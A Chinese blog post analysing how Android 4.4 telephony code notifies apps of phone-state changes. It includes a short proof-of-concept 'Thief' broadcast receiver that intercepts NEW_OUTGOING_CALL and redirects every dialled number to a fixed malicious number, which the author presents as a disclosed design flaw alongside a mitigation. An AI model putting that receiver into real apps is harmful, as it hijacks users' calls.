閱讀134 返回首頁    go 阿裏雲 go 技術社區[雲棲]


sendBroadcastAsUser——Calling a method in the system process without a qualified user

4.2中Android加入了多用戶 

改換這幾種調用方式 

public void startActivityAsUser(Intent intent, UserHandle user); 
public void sendBroadcastAsUser(Intent intent, UserHandle user); 
public ComponentName startServiceAsUser(Intent service, UserHandle user); 
public boolean stopServiceAsUser(Intent service, UserHandle user); 

UserHandle.ALL 
UserHandle.CURRENT 
UserHandle.CURRENT_OR_SELF 

UserHandle.OWNER

延伸閱讀

先看下麵代碼

private void broadcastCallStateChanged(int state, String incomingNumber) {
    //... ...省略
    //TelephonyManager.ACTION_PHONE_STATE_CHANGED 即"android.intent.action.PHONE_STATE"
    Intent intent = new Intent(TelephonyManager.ACTION_PHONE_STATE_CHANGED);

    //PhoneConstants.STATE_KEY 即字符串"state"
    intent.putExtra(PhoneConstants.STATE_KEY, DefaultPhoneNotifier.convertCallState(state).toString());

    //如果incomingNumber不為空則添加到intent的Extra中,對應的key為"incoming_number"
    if (!TextUtils.isEmpty(incomingNumber)) {
        intent.putExtra(TelephonyManager.EXTRA_INCOMING_NUMBER, incomingNumber);
    }
    
    //MTK Dual SIM support,對應key為"simId"
    if (FeatureOption.MTK_GEMINI_SUPPORT) {
        intent.putExtra(PhoneConstants.GEMINI_SIM_ID_KEY, mySimId);
    }

    //發送廣播,接收者為所有人,接收者需要有READ_PHONE_STATE權限
    mContext.sendBroadcastAsUser(intent, UserHandle.ALL,
            android.Manifest.permission.READ_PHONE_STATE);
}

在Android 4.0之前,並非使用sendBroadcastAsUser,而是使用sendBroadcast(intent, android.Manifest.permission.READ_PHONE_STATE)發起廣播通知,兩者相比,前者多了一個UserHandle.ALL的參數,該參數係Google在Android中添加用於區分用戶組的標誌。

        在Android 4.2 之後Android引入多用戶支持,目前Android平台多用戶僅支持平板設備。雖然在Android 4.2 中我們已經可以看到Android多用戶支持的影子,但直到Android 4.4 google還是沒有正式推出。因為Android 平板和手機共用一套代碼,因此這裏簡單的提一下Android 4.4中多用戶所支持的用戶組。

        Android 4.4 用戶分為:UserHandle.ALL、UserHandle.CURRENT、UserHandle.CURRENT_OR_SELF、UserHandle.OWNER四種類型,每種類型的handle不同。詳細描述如下:

[java] view plaincopy
  1. /** A user handle to indicate all users on the device */  
  2. //設備上所有用戶均可接收到廣播  
  3. // handle = -1  
  4. UserHandle.ALL  
  5.   
  6. /** A user handle to indicate the current user of the device */  
  7. //設備上當前用戶可接收到廣播  
  8. // handle = -2  
  9. UserHandle.CURRENT  
  10.   
  11. /** A user handle to indicate that we would like to send to the current 
  12.  *  user, but if this is calling from a user process then we will send it 
  13.  *  to the caller's user instead of failing wiht a security exception */  
  14. //handle = -3  
  15. //設備上當前用戶或者該應用所屬用戶可接收到廣播  
  16. UserHandle.CURRENT_OR_SELF  
  17.   
  18. /** A user handle to indicate the primary/owner user of the device */  
  19. // handle = 0  
  20. //設備所有者可接收到廣播  
  21. UserHandle.OWNER  

這裏的廣播範圍可以排序為:UserHandle.ALL > UserHandle.OWNER > UserHandle.CURRENT_OR_SELF > UserHandle.CURRENT。注意UserHandle.ALL包含了所有用戶,而OWNER僅僅是設備持有者(注意guest用戶)。

閱讀更多:

https://blog.csdn.net/yihongyuelan/article/details/32324335

Android 4.4 Kitkat Phone工作流程淺析(九)__狀態通知流程分析

概要

         當手機Modem狀態改變後會將狀態變化信息通知到上層,通過《Android 4.4 Kitkat Phone工作流程淺析(八)__Phone狀態分析》和《Android 4.4 Kitkat Phone工作流程淺析(六)__InCallActivity顯示更新流程》的分析,我們知道了Phone狀態的類型,以及這些狀態的上報流程,而本文主要分析Phone狀態改變之後是如何通知到三方應用的。

         Phone狀態對於三方應用來講主要包括:TelephonyManager.CALL_STATE_IDLE、TelephonyManager.CALL_STATE_RINGING、TelephonyManager.CALL_STATE_OFFHOOK三種。對於三方應用,通常使用兩種方法來獲知Phone狀態的改變即:

①監聽Phone狀態改變廣播;

②使用PhoneStateListener監聽Phone狀態。PhoneStateListener不僅能監聽Phone狀態改變,同時還能監聽數據連接狀態、Phone服務狀態等狀態改變信息;

兩種方法所對應的相關代碼如下:

[java] view plaincopy
  1. //1.注冊廣播監聽Phone狀態改變  
  2. //1.1 動態注冊廣播  
  3. public class MainActivity extends Activity {  
  4.     private PhoneStateChangedReceiver mPhoneStateChangedReceiver;     
  5.     @Override  
  6.     protected void onCreate(Bundle savedInstanceState) {  
  7.         super.onCreate(savedInstanceState);  
  8.         setContentView(R.layout.activity_main);  
  9.   
  10.         //Dynamic register the broadcast  
  11.         IntentFilter filter = new IntentFilter();  
  12.   
  13.         //"android.intent.action.PHONE_STATE"  
  14.         filter.addAction(TelephonyManager.ACTION_PHONE_STATE_CHANGED);  
  15.   
  16.         //"android.intent.action.NEW_OUTGOING_CALL"  
  17.         filter.addAction(Intent.ACTION_NEW_OUTGOING_CALL);  
  18.   
  19.         mPhoneStateChangedReceiver = new PhoneStateChangedReceiver();  
  20.         registerReceiver(mPhoneStateChangedReceiver, filter);  
  21.     }  
  22.   
  23.     @Override  
  24.     protected void onDestroy() {  
  25.         //unregister the broadcast when activity destroyed  
  26.         unregisterReceiver(mPhoneStateChangedReceiver);  
  27.         super.onDestroy();  
  28.     }  
  29.   
  30.     //內部類廣播  
  31.     public static class PhoneStateChangedReceiver extends BroadcastReceiver {  
  32.         @Override  
  33.         public void onReceive(Context context, Intent intent) {  
  34.   
  35.              //Action is "android.intent.action.PHONE_STATE"  
  36.              //or "android.intent.action.NEW_OUTGOING_CALL"  
  37.              String action = intent.getAction();  
  38.              Log.i("Seven","action is "+action);  
  39.   
  40.              if (Intent.ACTION_NEW_OUTGOING_CALL.equals(action)) {  
  41.              //"android.intent.extra.PHONE_NUMBER"  
  42.              String outgoingNum = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);  
  43.              Log.i("Seven""It's outgoing call. Number is:"+outgoingNum);  
  44.              return;  
  45.              }  
  46.   
  47.              //State is RINGING/OFFHOOK/IDLE  
  48.              String state = intent.getStringExtra("state");  
  49.   
  50.              //Only state is Ringing can get the incoming_number  
  51.              String incomingNum = intent.getStringExtra("incoming_number");  
  52.   
  53.              //MTK add for dual SIM support  
  54.              String simId = intent.getStringExtra("simId");  
  55.   
  56.              Log.i("Seven""state is "+state);  
  57.              Log.i("Seven""incomingNum is "+incomingNum);  
  58.              Log.i("Seven""simId is "+simId);  
  59.         }  
  60.     }  
  61. }  
  62.   
  63. //1.2 靜態注冊廣播  
  64. //與動態注冊的區別主要是需要在AndroidManifest.xml中添加<receiver>標簽  
  65. <receiver   
  66.     android:name="com.seven.androidphonestatelistenerdemo.MainActivity$PhoneStateChangedReceiver" >  
  67.     <intent-filter>  
  68.         <action android:name="android.intent.action.PHONE_STATE" />  
  69.         <action android:name="android.intent.action.NEW_OUTGOING_CALL" />  
  70.     </intent-filter>  
  71. </receiver>  
  72.   
  73. //注意:無論是靜態還是動態注冊均需要添加相應的權限  
  74. <uses-permission android:name="android.permission.READ_PHONE_STATE" />  
  75. <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />  
  76.   
  77. 2.使用PhoneStateListener監聽Phone狀態改變  
  78. @Override  
  79. protected void onCreate(Bundle savedInstanceState) {  
  80.     super.onCreate(savedInstanceState);  
  81.     setContentView(R.layout.activity_main);  
  82.     //TELEPHONY_SERVICE equals "phone"  
  83.     TelephonyManager mTelephonyManager = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);  
  84.     mTelephonyManager.listen(new PhoneStateListener(){  
  85.     @Override  
  86.     public void onCallStateChanged(int state, String incomingNumber) {  
  87.         switch (state) {  
  88.         case TelephonyManager.CALL_STATE_IDLE:  
  89.             Log.i("Seven","Call state is IDLE");  
  90.             break;  
  91.         case TelephonyManager.CALL_STATE_RINGING:  
  92.             Log.i("Seven","Call state is RINGING");  
  93.             break;  
  94.         case TelephonyManager.CALL_STATE_OFFHOOK:  
  95.             Log.i("Seven","Call state is OFFHOOK");  
  96.             break;  
  97.         default:  
  98.             break;  
  99.         }  
  100.         super.onCallStateChanged(state, incomingNumber);  
  101.     }  
  102.      }, PhoneStateListener.LISTEN_CALL_STATE);  
  103. }  

        以上兩種方法均可實現監聽Phone狀態的改變,通過廣播的方式可以監聽"去電狀態"和"Phone狀態"改變,而如果通過PhoneStateListener則隻能監聽Phone狀態改變。這裏我們先以MT流程為例,從代碼的執行流程上分析Phone狀態改變後是如何通知到三方應用的,後文也會順帶分析去電廣播的發起流程。

        通過前麵文章的分析,我們知道Phone狀態的改變是Modem發起的,之後通過framework、TeleService並最終通過InCallUI表現到界麵上,整個流程如圖1:


圖 1 MT調用流程

        通過圖1可以知道,所有的狀態都是從Modem發起並經過Telephony Framework處理之後再向上傳遞的,也是正是在Telephony Framework中,係統將Phone相關狀態告知給了三方應用。

狀態通知發起流程

        當Phone狀態改變之後,RILJ將相關信息反饋到GsmCallTracker的handleCallProgressInfo()方法中 (AOSP是handlePollCalls) 進行相關的處理。在該方法中會進行Phone狀態的轉換,在上一篇文章《Android 4.4 Kitkat Phone工作流程淺析(八)__Phone狀態分析》中我們有詳細分析,這裏不再詳細解釋。

        在handleCallProgressInfo()的updatePhoneState()方法中進行Call.State(Internal)和PhoneConstants.State轉換時,有如下代碼:

[java] view plaincopy
  1. private void updatePhoneState() {  
  2.     //... ...省略  
  3.     if (mState != oldState) {  
  4.         mPhone.notifyPhoneStateChanged();  
  5.     }  
  6. }  
當PhoneConstants.State發生改變時便會觸發mPhone.notifyPhoneStateChanged()。因為我們這裏處理的是GSMPhone,自然而然mPhone為GSMPhone的對象,因此繼續跳轉到GSMPhone.java中,關鍵代碼如下:
[java] view plaincopy
  1. void notifyPhoneStateChanged() {  
  2.     //... ...省略  
  3.     mNotifier.notifyPhoneState(this);  
  4. }  
這裏mNotifier實際上是DefaultPhoneNotifier的實例,因此繼續跳轉到DefaultPhoneNotifier中的notifyPhoneState()方法中:
[java] view plaincopy
  1. public void notifyPhoneState(Phone sender) {  
  2.     Call ringingCall = sender.getRingingCall();  
  3.     String incomingNumber = "";   
  4.     if (ringingCall != null && ringingCall.getEarliestConnection() != null){  
  5.         //如果當前正在響鈴,則獲取來電號碼  
  6.         incomingNumber = ringingCall.getEarliestConnection().getAddress();  
  7.     }     
  8.     try {  
  9.         //通過conertCallState方法將Phoneconstants.State轉換為TelephonyManager.CALL_STATE_XX  
  10.         mRegistry.notifyCallState(convertCallState(sender.getState()), incomingNumber);  
  11.     } catch (RemoteException ex) {  
  12.         // system process is dead  
  13.     }     
  14. }  
mRewgistry是TelephonyRegistry的對象,TelephonyRegistry為係統服務在SystemServer中完成注冊,mRegistry的實例化是在DefaultPhoneNotifier的構造方法中,如下:
[java] view plaincopy
  1. //這裏MTK做了一些修改,原生並沒有使用public權限  
  2. public DefaultPhoneNotifier() {  
  3.     mRegistry = ITelephonyRegistry.Stub.asInterface(ServiceManager.getService(  
  4.                 "telephony.registry"));  
  5. }  
也就是說經過了前麵的層層調用之後,最終跳轉到了TelephonyRegistry服務中的notifyCallState()方法,如下:
[java] view plaincopy
  1. public void notifyCallState(int state, String incomingNumber) {  
  2.     //檢查是否具有相關修改Phone狀態的權限  
  3.     if (!checkNotifyPermission("notifyCallState()")) {  
  4.         return;  
  5.     }  
  6.     synchronized (mRecords) {  
  7.         mCallState = state;  
  8.         mCallIncomingNumber = incomingNumber;  
  9.         for (Record r : mRecords) {  
  10.             if ((r.events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {  
  11.                 try {  
  12.                     //回調onCallStateChanged方法  
  13.                     r.callback.onCallStateChanged(state, incomingNumber);  
  14.                 } catch (RemoteException ex) {  
  15.                     mRemoveList.add(r.binder);  
  16.                 }  
  17.             }  
  18.         }  
  19.         handleRemoveListLocked();  
  20.     }  
  21.     //發送Phone狀態改變的係統廣播  
  22.     broadcastCallStateChanged(state, incomingNumber);  
  23. }  

到這裏已經找到了整個Phone狀態改變通知發起的地方,分別是這裏的onCallStateChanged回調和broadcastCallStateChanged發起廣播。整個流程如圖2所示:


圖 2 三方應用接收Phone狀態改變流程

 通過前麵的分析,可以很清楚的了解Phone狀態的通知流程。接下來將從以下三個方麵對細節進行展開分析:

1. broadcast廣播類型以及其中攜帶的數據;

2. 關鍵對象初始化流程,包括mPhone、mNotifier、mRegistry對象的實例化流程;

3. PhoneStateListener監聽機製分析,包括Phone狀態注冊監聽原理,以及onCallStateChanged回調執行流程;

Phone狀態變更廣播

ACTION_PHONE_STATE_CHANGED

        前文的例子中有提到,Phone狀態改變之後會在TelephonyRegistry中調用broadcallCallStateChanged()方法將相關狀態廣播出去,關鍵代碼如下:

[java] view plaincopy
  1. private void broadcastCallStateChanged(int state, String incomingNumber) {  
  2.     //... ...省略  
  3.     //TelephonyManager.ACTION_PHONE_STATE_CHANGED 即"android.intent.action.PHONE_STATE"  
  4.     Intent intent = new Intent(TelephonyManager.ACTION_PHONE_STATE_CHANGED);  
  5.   
  6.     //PhoneConstants.STATE_KEY 即字符串"state"  
  7.     intent.putExtra(PhoneConstants.STATE_KEY, DefaultPhoneNotifier.convertCallState(state).toString());  
  8.   
  9.     //如果incomingNumber不為空則添加到intent的Extra中,對應的key為"incoming_number"  
  10.     if (!TextUtils.isEmpty(incomingNumber)) {  
  11.         intent.putExtra(TelephonyManager.EXTRA_INCOMING_NUMBER, incomingNumber);  
  12.     }  
  13.       
  14.     //MTK Dual SIM support,對應key為"simId"  
  15.     if (FeatureOption.MTK_GEMINI_SUPPORT) {  
  16.         intent.putExtra(PhoneConstants.GEMINI_SIM_ID_KEY, mySimId);  
  17.     }  
  18.   
  19.     //發送廣播,接收者為所有人,接收者需要有READ_PHONE_STATE權限  
  20.     mContext.sendBroadcastAsUser(intent, UserHandle.ALL,  
  21.             android.Manifest.permission.READ_PHONE_STATE);  
  22. }  
        通過代碼可以看到,這裏Intent的Action是"android.intent.action.PHONE_STATE",其中的Extras有"state",如果是來電則"incoming_number"為來電號碼,以及MTK自己加入的雙卡支持,"simId"用於標識SIM卡,在這裏即表示哪一張SIM卡狀態發生了改變,最後通過sendBroadcastAsUser將廣播發送出去,廣播接收者需要具有"READ_PHONE_STATE"權限才可以接收到對應的廣播消息。

        在Android 4.0之前,並非使用sendBroadcastAsUser,而是使用sendBroadcast(intent, android.Manifest.permission.READ_PHONE_STATE)發起廣播通知,兩者相比,前者多了一個UserHandle.ALL的參數,該參數係Google在Android中添加用於區分用戶組的標誌。

        在Android 4.2 之後Android引入多用戶支持,目前Android平台多用戶僅支持平板設備。雖然在Android 4.2 中我們已經可以看到Android多用戶支持的影子,但直到Android 4.4 google還是沒有正式推出。因為Android 平板和手機共用一套代碼,因此這裏簡單的提一下Android 4.4中多用戶所支持的用戶組。

        Android 4.4 用戶分為:UserHandle.ALL、UserHandle.CURRENT、UserHandle.CURRENT_OR_SELF、UserHandle.OWNER四種類型,每種類型的handle不同。詳細描述如下:

[java] view plaincopy
  1. /** A user handle to indicate all users on the device */  
  2. //設備上所有用戶均可接收到廣播  
  3. // handle = -1  
  4. UserHandle.ALL  
  5.   
  6. /** A user handle to indicate the current user of the device */  
  7. //設備上當前用戶可接收到廣播  
  8. // handle = -2  
  9. UserHandle.CURRENT  
  10.   
  11. /** A user handle to indicate that we would like to send to the current 
  12.  *  user, but if this is calling from a user process then we will send it 
  13.  *  to the caller's user instead of failing wiht a security exception */  
  14. //handle = -3  
  15. //設備上當前用戶或者該應用所屬用戶可接收到廣播  
  16. UserHandle.CURRENT_OR_SELF  
  17.   
  18. /** A user handle to indicate the primary/owner user of the device */  
  19. // handle = 0  
  20. //設備所有者可接收到廣播  
  21. UserHandle.OWNER  
這裏的廣播範圍可以排序為:UserHandle.ALL > UserHandle.OWNER > UserHandle.CURRENT_OR_SELF > UserHandle.CURRENT。注意UserHandle.ALL包含了所有用戶,而OWNER僅僅是設備持有者(注意guest用戶)。

ACTION_NEW_OUTGONG_CALL

        通過前文的例子可以看到,除了注冊監聽PHONE_STATE_CHANGED廣播以外,我們還監聽了NEW_OUTGOING_CALL的廣播。該廣播是在主動唿叫時發起的,當用戶使用手機撥打電話時係統會發出該廣播,也就是說在MO流程發起時會收到以上兩種廣播信息。

        在《Android 4.4 Kitkat Phone工作流程淺析(三)__MO(去電)流程分析》中已經詳細分析了MO的發起流程和經過,通過該文的分析可以知道MO的發起點在Dialer中,經過PhoneCommon處理之後交給TeleService,並在這裏觸發了相應的NEW_OUTGOING_CALL廣播。整個流程如圖3所示,其中因為PhoneCommon部分省略,詳細流程請參閱《Android 4.4 Kitkat Phone工作流程淺析(三)__MO(去電)流程分析》。


圖 3 OUT_GOING_CALL廣播發起流程

NEW_OUTGOING_CALL廣播的發起流程關鍵代碼如下:
[java] view plaincopy
  1. public static void sendNewCallBroadcast(Context context, Intent intent, String number,  
  2.                                         boolean callNow, BroadcastReceiver receiver) {  
  3.   
  4.     //ACTION is "android.intent.action.NEW_OUTGOING_CALL"  
  5.     Intent broadcastIntent = new Intent(Intent.ACTION_NEW_OUTGOING_CALL);  
  6.   
  7.     if (number != null) {  
  8.         //"android.intent.extra.PHONE_NUMBER" 唿叫號碼  
  9.         broadcastIntent.putExtra(Intent.EXTRA_PHONE_NUMBER, number);  
  10.     }  
  11.   
  12.     //將intent中的部分Extras賦值到broadcastIntent中  
  13.     CallGatewayManager.checkAndCopyPhoneProviderExtras(intent, broadcastIntent);  
  14.   
  15.     //"android.phone.extra.ALREADY_CALLED" callNow is false  
  16.     broadcastIntent.putExtra(EXTRA_ALREADY_CALLED, callNow);  
  17.   
  18.     //"android.phone.extra.ORIGINAL_URI" URI信息  
  19.     broadcastIntent.putExtra(EXTRA_ORIGINAL_URI, intent.getData().toString());  
  20.   
  21.     //該Flag可以是廣播優先級更高  
  22.     broadcastIntent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);  
  23.   
  24.     //這是MTK自己加入一些Extras  
  25.     PhoneUtils.checkAndCopyPrivateExtras(intent, broadcastIntent);  
  26.   
  27.     //使用有序廣播將撥號狀態發送出去  
  28.     //需要permission android.Manifest.permission.PROCESS_OUTGOING_CALLS  
  29.     //廣播對象為UserHandle.OWNER  
  30.     //需要PERMISSION為:android.Manifest.permission.PROCESS_OUTGOING_CALLS  
  31.     //receiver為該有序廣播最後負責接收的對象  
  32.     //scheduler表示是否運行在其它線程中,這裏為null表示運行在主線程中  
  33.     //number初始化數據  
  34.     context.sendOrderedBroadcastAsUser(broadcastIntent, UserHandle.OWNER,  
  35.             PERMISSION, receiver,  
  36.             null,  // scheduler  
  37.             Activity.RESULT_OK,  // initialCode  
  38.             number,  // initialData: initial value for the result data  
  39.             null);  // initialExtras  
  40. }  

該廣播為有序廣播,其中指定廣播麵向的用戶組是UserHandle.OWNER,接收廣播所需要的權限"android.Manifest.permisson.PROCES_OUTGOING_CALL",參數中的receiver為OutgoingCallReceiver的對象,由它來最後接收並處理該廣播,initialData為number。

MTK在該廣播的Intent中添加了一些數據,如下:

[java] view plaincopy
  1. public static void checkAndCopyPrivateExtras(final Intent origIntent, Intent newIntent) {  
  2.     int slot = origIntent.getIntExtra(Constants.EXTRA_SLOT_ID, -1);  
  3.     if (-1 != slot) {  
  4.         //卡槽信息,據此可判斷卡1卡2  
  5.         newIntent.putExtra(Constants.EXTRA_SLOT_ID, slot);  
  6.     }  
  7.     if (FeatureOption.MTK_VT3G324M_SUPPORT) {  
  8.         boolean isVideoCall = origIntent.getBooleanExtra(Constants.EXTRA_IS_VIDEO_CALL, false);  
  9.         if (isVideoCall) {  
  10.             //如果支持VideoCall則添加相關key  
  11.             newIntent.putExtra(Constants.EXTRA_IS_VIDEO_CALL, isVideoCall);  
  12.         }     
  13.     }     
  14.     long simId = origIntent.getLongExtra(Constants.EXTRA_ORIGINAL_SIM_ID, Settings.System.DEFAULT_SIM_NOT_SET);  
  15.     if (-1 != simId) {  
  16.         //SIM卡Id  
  17.         newIntent.putExtra(Constants.EXTRA_ORIGINAL_SIM_ID, simId);  
  18.     }     
  19.     boolean isIpCall = origIntent.getBooleanExtra(Constants.EXTRA_IS_IP_DIAL, false);  
  20.     if (isIpCall) {  
  21.         //如果是互聯網電話則添加相關的key  
  22.         newIntent.putExtra(Constants.EXTRA_IS_IP_DIAL, isIpCall);  
  23.     }     
  24.     boolean isFollowSimManagement = origIntent.getBooleanExtra(Constants.EXTRA_FOLLOW_SIM_MANAGEMENT, false);  
  25.     if (isFollowSimManagement) {  
  26.         //是否遵從SIM卡管理  
  27.         newIntent.putExtra(Constants.EXTRA_FOLLOW_SIM_MANAGEMENT, isFollowSimManagement);  
  28.     }     
  29. }  

        要特別注意該廣播的最後兩項參數:String initialData和Bundle initialExtras,前者用於存放String類型的初始化數據,後者可存放Bundle類型的初始化數據。在有序廣播的使用過程中,我們可以通過getResultData()獲取到有序廣播中的initialData值,並且可以使用setResultData(String data)重新設置有序廣播的initialData值。同樣,使用getResultExtras(boolean makeMap)可以獲取initialExtras的Bundle值,其中參數makeMap為true表示,如果之前initialExtras為null則創建一個內容為空的Bundle對象;false則表示返回為null;在處理完Bundle值之後可以通過setResultExtras(Bundle extras)將數據設置回廣播中繼續傳遞。

        注意:在分析過程中我發現一個google設計上的風險。有序廣播發出去之後最後會在 OutGoingCallReceiver.java ( AOSP代碼會在OutGoingCallBroadcaster.java )中進行處理,通過“number = getResultData()”將唿叫號碼取出。但如果有惡意應用監聽了NEW_OUTGOIONG_CALL廣播並篡改其中的initialData為惡意號碼,最終將會導致用戶無法正常撥打電話。

       例如使用以下惡意代碼:

[java] view plaincopy
  1. <receiver   
  2.     android:name="com.example.thief.Thief$ThiefReceiver" >  
  3.     //設置接收權限等級為最高  
  4.     <intent-filter android:priority="9999999999999999999999999999999" >  
  5.         <action android:name="android.intent.action.NEW_OUTGOING_CALL" />  
  6.     </intent-filter>  
  7. </receiver>  
  8.   
  9. public class Thief extends Activity {  
  10.     @Override  
  11.     protected void onCreate(Bundle savedInstanceState) {  
  12.         super.onCreate(savedInstanceState);  
  13.         setContentView(R.layout.activity_thief);  
  14.     }  
  15.       
  16.     public static class ThiefReceiver extends BroadcastReceiver {  
  17.         @Override  
  18.         public void onReceive(Context context, Intent intent) {  
  19.         setResultData("3333333333");//設置唿叫號碼為惡意號碼  
  20.         abortBroadcast();//截斷廣播  
  21.         }  
  22.           
  23.     }  
  24. }  
以上代碼將會導致用戶在撥打任何號碼時,均指向3333333333該惡意號碼,從而影響用戶的正常唿叫。對於廠商來說可以使用一些方法進行規避,如通過獲取intent中的Intent.EXTRA_PHONE_NUMBER來獲取number的值,即“number = intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER)”來獲取實際的唿叫號碼,從而可以避免以上情況的發生。

關鍵對象初始化流程

        在前文分析中我們使用了mPhone、mNotifier、mRegistry等關鍵對象,從而能夠跳轉到對應的處理方法中進行處理,但這些關鍵對象是在何時何地進行初始化的呢?

        在《Android 4.4 Kitkat Phone工作流程淺析(三)__MO(去電)流程分析》中已經分析了Phone對象的初始化流程,通過跟蹤makeDefaultPhone()的流程可以知道最終是以GSMPhone來完成Phone對象初始化的。在GsmCallTracker中需要查看“mPhone.notifyPhoneStateChanged()”方法,mPhone的初始化工作在GsmCallTracker的構造方法中完成,而mNotifier則在GSMPhone的父類PhoneBase中完成初始化。整個流程如圖4:


圖 4 關鍵變量實例化

        從圖4中可以看到mPhone實際就是GSMPhone的實例,而mNotifier則是DefaultPhoneNotifier的實例,DefaultPhoneNotifier實現了PhoneNotifier接口。對於mRegistry來講,通過Binder的方式獲取到了TelephonyRegistry的實例,而TelephonyRegistry是在SystemServer中完成添加的,關鍵代碼如下:

[java] view plaincopy
  1. TelephonyRegistry telephonyRegistry = null;  
  2. telephonyRegistry = new TelephonyRegistry(context);  
  3. ServiceManager.addService("telephony.registry", telephonyRegistry);  

PhoneStateListener監聽機製

        在前文的例子中,使用PhoneStateListener的方式可以實現Phone狀態改變的監聽,最後在PhoneStateListener的覆寫方法中獲知Phone狀態的改變。通過TelephonyManager的listen方法實現監聽器的添加,如下:

[java] view plaincopy
  1. listen(PhoneStateListener listener, int events)  
這裏的listener為PhoneStateListener對象,events為需要監聽的類型,這些類型在PhoneStateListener中定義( LISTEN_XXXX ),如需同時監聽多種狀態可使用或"|"將多個狀態連接。之後在TelephonyManager的listen方法中繼續處理,關鍵代碼如下:
[java] view plaincopy
  1. private static ITelephonyRegistry sRegistry;  
  2. public TelephonyManager(Context context) {  
  3.     //... ...省略  
  4.     if (sRegistry == null) {  
  5.         sRegistry = ITelephonyRegistry.Stub.asInterface(ServiceManager.getService(  
  6.                 "telephony.registry"));  
  7.     }  
  8. //... ...省略 MTK雙卡  
  9.   
  10. public void listen(PhoneStateListener listener, int events) {  
  11.     try {  
  12.         Boolean notifyNow = true;  
  13.         sRegistry.listen(pkgForDebug, listener.callback, events, notifyNow);  
  14.         //... ...省略 MTK雙卡    
  15. }   
  16. }  
可以看到,最終的調用還是在TelephonyRegistry中,而sRegistry在TelephonyManager的構造方法中完成實例化。TelephonyRegistry中listen關鍵代碼如下:
[java] view plaincopy
  1. public void listen(String pkgForDebug, IPhoneStateListener callback, int events,  
  2.         boolean notifyNow) {  
  3.     //... ...省略  
  4.     if (events != 0) {  
  5.         //檢查權限,某些SATE需要對應的去權限  
  6.         checkListenerPermission(events);  
  7.   
  8.         synchronized (mRecords) {  
  9.             // register  
  10.             Record r = null;  
  11.             find_and_add: {  
  12. //callback實際為new IPhoneStateListener.Stub()對象,且stub繼承自Binder  
  13. //Binder實現了IBinder接口,asBinder返回stub.this也就是Binder對象  
  14.                 IBinder b = callback.asBinder();  
  15.                 final int N = mRecords.size();  
  16.                 for (int i = 0; i < N; i++) {  
  17.                     r = mRecords.get(i);  
  18. //如果之前添加過該PhoneStateListener則直接跳轉到find_and_add標簽末尾  
  19.                     if (b == r.binder) {  
  20.                         break find_and_add;  
  21.                     }  
  22.                 }  
  23. //如果之前沒有添加過該PhoneStateListenerListener,將新Listener的信息  
  24. //添加到mRecords列表中  
  25.                 r = new Record();  
  26.                 r.binder = b;  
  27.                 r.callback = callback;  
  28.                 r.pkgForDebug = pkgForDebug;  
  29.                 r.callerUid = callerUid;  
  30.                 mRecords.add(r);  
  31.             }  
  32.             //... ...省略  
  33.             r.events = events;  
  34.             if (notifyNow) {  
  35.                 //... ...省略  
  36.                 //注冊完成之後,notifyNow為true立刻執行一次  
  37.                 if ((events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {  
  38.                     try {  
  39.                         r.callback.onCallStateChanged(mCallState, mCallIncomingNumber);  
  40.                     } catch (RemoteException ex) {  
  41.                         remove(r.binder);  
  42.                     }  
  43.                 }  
  44.                 //... ...省略  
通過前麵的分析已經知道,Phone狀態改變之後最終會調用TelephonyRegistry中的notifyCallState()方法,並執行以下關鍵代碼:
[java] view plaincopy
  1. for (Record r : mRecords) {  
  2.     if ((r.events & PhoneStateListener.LISTEN_CALL_STATE) != 0) {  
  3.         try {  
  4. //回調所有注冊了LISTEN_CALL_STATE狀態PhoneStateListener的onCallStateChanged方法  
  5.             r.callback.onCallStateChanged(state, incomingNumber);  
  6.         } catch (RemoteException ex) {  
  7.             mRemoveList.add(r.binder);  
  8.         }  
  9.     }  
  10. }  

整個onCallStateChanged方法的回調關鍵流程:

1. 往監聽列表mRecords中添加監聽對象;

2. 狀態改變即從mRecords中遍曆監聽對象並發起回調;

r.callback中存放的是new IPhoneStateListener.Stub()的實例,onCallStateChanged方法關鍵調用如下:

[java] view plaincopy
  1. IPhoneStateListener callback = new IPhoneStateListener.Stub() {  
  2.     //... ...省略  
  3.     public void onCallStateChanged(int state, String incomingNumber) {  
  4.         Message.obtain(mHandler, LISTEN_CALL_STATE, state, 0, incomingNumber).sendToTarget();  
  5.     }  
  6.     //... ...省略  
  7. };  
  8.   
  9. Handler mHandler = new Handler() {  
  10.     public void handleMessage(Message msg) {  
  11.         switch (msg.what) {  
  12.             //... ...省略  
  13.             case LISTEN_CALL_STATE:  
  14.                 PhoneStateListener.this.onCallStateChanged(msg.arg1, (String)msg.obj);  
  15.                 break;  
  16.             //... ...省略  
  17.         }  
  18.     }  
  19. };  
       最後調用PhoneStateListener的onCallStateChanged()方法。因為我們在實例化PhoneStateListener對象時,是通過匿名類或繼承等方式實現了PhoneStateListener的子類,並在其中覆寫了onCallStateChanged()方法,所以這裏便會回調到我們自己實現的onCallStateChanged()方法中,並最終獲得Phone狀態的變化通知。

總結

        全文主要分析了Phone狀態改變之後,如何將Phone狀態通知到三方應用,具體包含broadcast廣播和onCallStateChanged()等方法的回調。同時針對其中的細節之處分成了三個部分進行分析:

        1. broadcast廣播類型以及其中攜帶的數據;

         廣播具體包含兩種類型:即TelephonyManager.ACITON_PHONE_STATE_CHANGED和Intent.ACITON_NEW_OUTGOING_CALL;後者僅在MO流程發起時通過TeleService發出,同時由於該廣播是有序廣播,允許三方監聽者獲取並修改其initData,從而有可能導致無法發起正常唿叫的問題。如何利用該漏洞,文中已給出相關代碼,附件也會包含該測試APK,用戶安裝該APK並運行一次之後,無論使用何種方式撥打電話均會指向無效號碼"3333333333"。

        2. 關鍵對象初始化流程,包括mPhone、mNotifier、mRegistry對象的實例化流程;

         這些關鍵對象大多數跟隨Telephony的啟動並完成初始化,弄清楚這些關鍵對象的實例,對整個流程的分析至關重要。

        3. PhoneStateListener監聽機製分析,包括Phone狀態注冊監聽原理,以及onCallStateChanged回調執行流程;

